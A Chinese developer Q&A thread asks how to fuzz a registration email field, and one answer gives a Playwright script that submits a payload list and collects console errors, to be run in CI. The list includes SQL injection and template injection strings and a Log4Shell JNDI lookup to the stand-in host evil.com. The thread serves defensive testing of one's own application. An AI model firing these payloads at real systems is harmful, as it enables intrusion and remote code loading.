前端项目里怎么用Fuzzing测试输入框的安全性?

皇甫胜楠 阅读 51

我最近在学安全开发生命周期,看到Fuzzing能用来测输入漏洞,但不太清楚前端怎么实际用。比如一个用户注册页面的邮箱输入框,我想自动喂各种奇怪字符串看会不会出问题,该怎么做?

试过手动复制一些payload到里,但效率太低。有没有适合前端项目的轻量级Fuzzing工具或方法?最好能集成到CI流程里。

我来解答 赞 16 收藏
二维码
手机扫码查看
1 条解答
爱学习的庆庆
前端输入框Fuzzing最直接的做法:用Playwright写个脚本,遍历payload列表自动填入并抓控制台错误。

const { chromium } = require('playwright');
const payloads = [
"' OR '1'='1",
"",
"{{7*7}}",
"${jndi:ldap://evil.com/a}",
// ... 上千个payload
];

(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
const errors = [];

page.on('console', msg => {
if (msg.type() === 'error') errors.push(msg.text());
});

for (const payload of payloads) {
await page.goto('http://your-app/register');
await page.fill('input[name="email"]', payload);
await page.click('button[type="submit"]');
await page.waitForTimeout(500);
}

console.log('Found errors:', errors);
await browser.close();
})();


payloads列表可以用fuzzdb或PayloadsAllTheThings这些现成的。CI里就加个 node fuzz-test.js 跑一遍,有错误就exit 1。

如果想测XSS效果更准,可以配合DOMPurify看输出有没有被正确过滤,或者直接看后端返回的响应有没有把payload原样返回。
点赞
2026-03-17 14:01